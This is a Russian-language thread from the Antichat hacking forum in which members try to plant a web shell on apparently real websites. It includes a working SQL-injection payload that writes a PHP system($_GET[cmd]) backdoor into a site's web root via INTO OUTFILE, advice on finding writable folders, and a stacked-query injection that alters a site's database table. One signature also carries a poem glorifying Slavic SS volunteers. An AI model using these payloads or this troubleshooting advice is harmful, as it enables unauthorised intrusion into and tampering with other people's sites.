HOME FORUMS MEMBERS RECENT POSTS LOG IN  
× Авторизация
Имя пользователя:
Пароль:
Нет аккаунта? Регистрация
Баннер 1   Баннер 2
НОВЫЕ ТОРГОВАЯ НОВОСТИ ЧАТ
loading...
Скрыть
Вернуться   Форум АНТИЧАТ > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

  #1  
Старый 01.12.2009, 15:28
Totgeliebt
Познающий
Регистрация: 20.10.2009
Сообщений: 38
Провел на форуме:
125847

Репутация: 5
По умолчанию

Цитата:
Сообщение от m0Hze  
Ну теперь ты знаеш полный путь.
А это переполнение разрешенной памяти вроде
а для чего это может пригодится?
 
Ответить с цитированием

  #2  
Старый 01.12.2009, 15:33
m0Hze
Он хакер.
Регистрация: 01.11.2008
Сообщений: 1,756
Провел на форуме:
6462214

Репутация: 3171


По умолчанию

Цитата:
Сообщение от Totgeliebt  
а для чего это может пригодится?
Полный путь,например для заливки шела через sql-inj.
 
Ответить с цитированием

  #3  
Старый 01.12.2009, 16:17
547
Участник форума
Регистрация: 11.10.2009
Сообщений: 116
Провел на форуме:
472147

Репутация: 211
По умолчанию

root@localhost

file_priv Y

into outfile & load_file рабаотает...
но когда даю такой запрос пишет:

Ошибка в параметрах запроса

http://site.ru/index.php?cat=1-1%20union%20select%201,2,3,4,'%3C?php%20system($_G ET[cmd]);%20?%3E',6,7,8,9,10,11,12,13,14+into+outfile+'/var/www/kvartirant/data/www/kvartira.ru/shell.php'/*

но какая тут ошибка? путь найшол вроде все правильно в tmp записывалось нормально....

может отсутствуют права на запись в директорию сайта?
 
Ответить с цитированием

  #4  
Старый 01.12.2009, 16:26
p.r0phe.t
Познающий
Регистрация: 22.08.2009
Сообщений: 98
Провел на форуме:
224604

Репутация: 19
По умолчанию

Цитата:
Сообщение от 547  
root@localhost

file_priv Y

into outfile & load_file рабаотает...
но когда даю такой запрос пишет:

Ошибка в параметрах запроса

http://site.ru/index.php?cat=1-1%20union%20select%201,2,3,4,'%3C?php%20system($_G ET[cmd]);%20?%3E',6,7,8,9,10,11,12,13,14+into+outfile+'/var/www/kvartirant/data/www/kvartira.ru/shell.php'/*

но какая тут ошибка? путь найшол вроде все правильно в tmp записывалось нормально....

может отсутствуют права на запись в директорию сайта?
http://site.ru/index.php?cat=1-1%20union%20select%201,2,3,4,'%3C?php%20system($_G ET[cmd]);%20?%3E',6,7,8,9,10,11,12,13,14+into+outfile+'/var/www/kvartirant/data/www/kvartira.ru/shell.php'/*
уматно сайт спрятал =))
 
Ответить с цитированием

  #5  
Старый 01.12.2009, 16:28
547
Участник форума
Регистрация: 11.10.2009
Сообщений: 116
Провел на форуме:
472147

Репутация: 211
По умолчанию

Цитата:
Сообщение от p.r0phe.t  
http://site.ru/index.php?cat=1-1%20union%20select%201,2,3,4,'%3C?php%20system($_G ET[cmd]);%20?%3E',6,7,8,9,10,11,12,13,14+into+outfile+'/var/www/kvartirant/data/www/kvartira.ru/shell.php'/*
уматно сайт спрятал =))
kvartira.ru -это не настоящее имя сайта))))
сайт спрятал более менее надежно... ато турки сам знаеш)))
 
Ответить с цитированием

  #6  
Старый 01.12.2009, 16:31
HAXTA4OK
Reservists Of Antichat - Level 6
Регистрация: 15.03.2009
Сообщений: 560
Провел на форуме:
4358210

Репутация: 2017


По умолчанию

Цитата:
Сообщение от 547  
kvartira.ru -это не настоящее имя сайта))))
сайт спрятал более менее надежно... ато турки сам знаеш)))
Поищи папки на запись и не думай что когда выполниш запрос то у тебя не вылезит какая нить ошибка, то есть ошибка может и вылезит, но файл создаться, но как я понял ты его прямо в корень сайта пихаеш, поищи папку с картинками
__________________
В сырых могилах Второй Мировой
Солдатам снятся цветные сны.
Их кости порой видны под первой травой,
Когда сойдет снег в начале весны.
Славяне тоже сражались в отрядах СС
За чистоту арийской крови.
Теперь они дремлют за чертою небес,
Но снова встанут на бой, лишь позови.
 
Ответить с цитированием

  #7  
Старый 01.12.2009, 16:34
547
Участник форума
Регистрация: 11.10.2009
Сообщений: 116
Провел на форуме:
472147

Репутация: 211
По умолчанию

Цитата:
Сообщение от l1ght  
блин, а я сижу, раскручиваю
kvartira.ru/xml/list_flats.php?id=195&lang=ru';update+flats_s+set+ nrooms='0'+where+1=1;select+'1&sq_all=&rooms=&pr_d oll_min=1&pr_doll_max=&live=&unlive=1
ты вчера помог! тебе могу настоящее имя кинуть в лс))) только в паблик сразу некидай...
 
Ответить с цитированием

  #8  
Старый 01.12.2009, 16:47
Jokester
Познавший АНТИЧАТ
Регистрация: 18.02.2008
Сообщений: 1,136
Провел на форуме:
17621293

Репутация: 4915


По умолчанию

Я что-то не пойму, РОА заняться нечем что-ли? В правилах темы написано по русски что шеллы в паблике запрещены, мы их долго тереть будем?
 
Ответить с цитированием

  #9  
Старый 01.12.2009, 17:32
Totgeliebt
Познающий
Регистрация: 20.10.2009
Сообщений: 38
Провел на форуме:
125847

Репутация: 5
По умолчанию

Фото альбомы > >



Дата: 01.01.1970
Добавлено:
Размер: x пикселов

Warning: filesize() [function.filesize]: stat failed for images/photoalbum/album_/ in /home/gamer/public_html/photogallery.php on line 68
Рахмер файла: Bytes
Комментариев: 0
Рейтинг: Пусто
Количество просмотров:
Посмотрите есть тут что плз
P.S Ногами не пинать, я чайничек)
 
Ответить с цитированием

  #10  
Старый 01.12.2009, 18:06
[x60]unu
Banned
Регистрация: 07.05.2009
Сообщений: 103
Провел на форуме:
3202832

Репутация: 1588
По умолчанию

Цитата:
Сообщение от Totgeliebt  
Фото альбомы > >



Дата: 01.01.1970
Добавлено:
Размер: x пикселов

Warning: filesize() [function.filesize]: stat failed for images/photoalbum/album_/ in /home/gamer/public_html/photogallery.php on line 68
Рахмер файла: Bytes
Комментариев: 0
Рейтинг: Пусто
Количество просмотров:
Посмотрите есть тут что плз
P.S Ногами не пинать, я чайничек)
да-да сейчас я покажу свои экстрасенсорные способности и угадаю сайт!!!
У тебя тут есть путь, ты доволен???
 
Ответить с цитированием
Ответ



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Ваши ламерские приколы (Ну когда только комп появился) PEPSICOLA Болталка 188 23.05.2010 10:05
Ваши любимые компьютерные игры PEPSICOLA Болталка 280 19.08.2009 00:01
Ваши телеги... F-IFTY Болталка 13 18.08.2009 18:22
Вопросы по Ipb 2.0 Voodoo_People Уязвимости CMS / форумов 26 15.02.2005 22:57



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT ™ © 2001- Antichat Kft.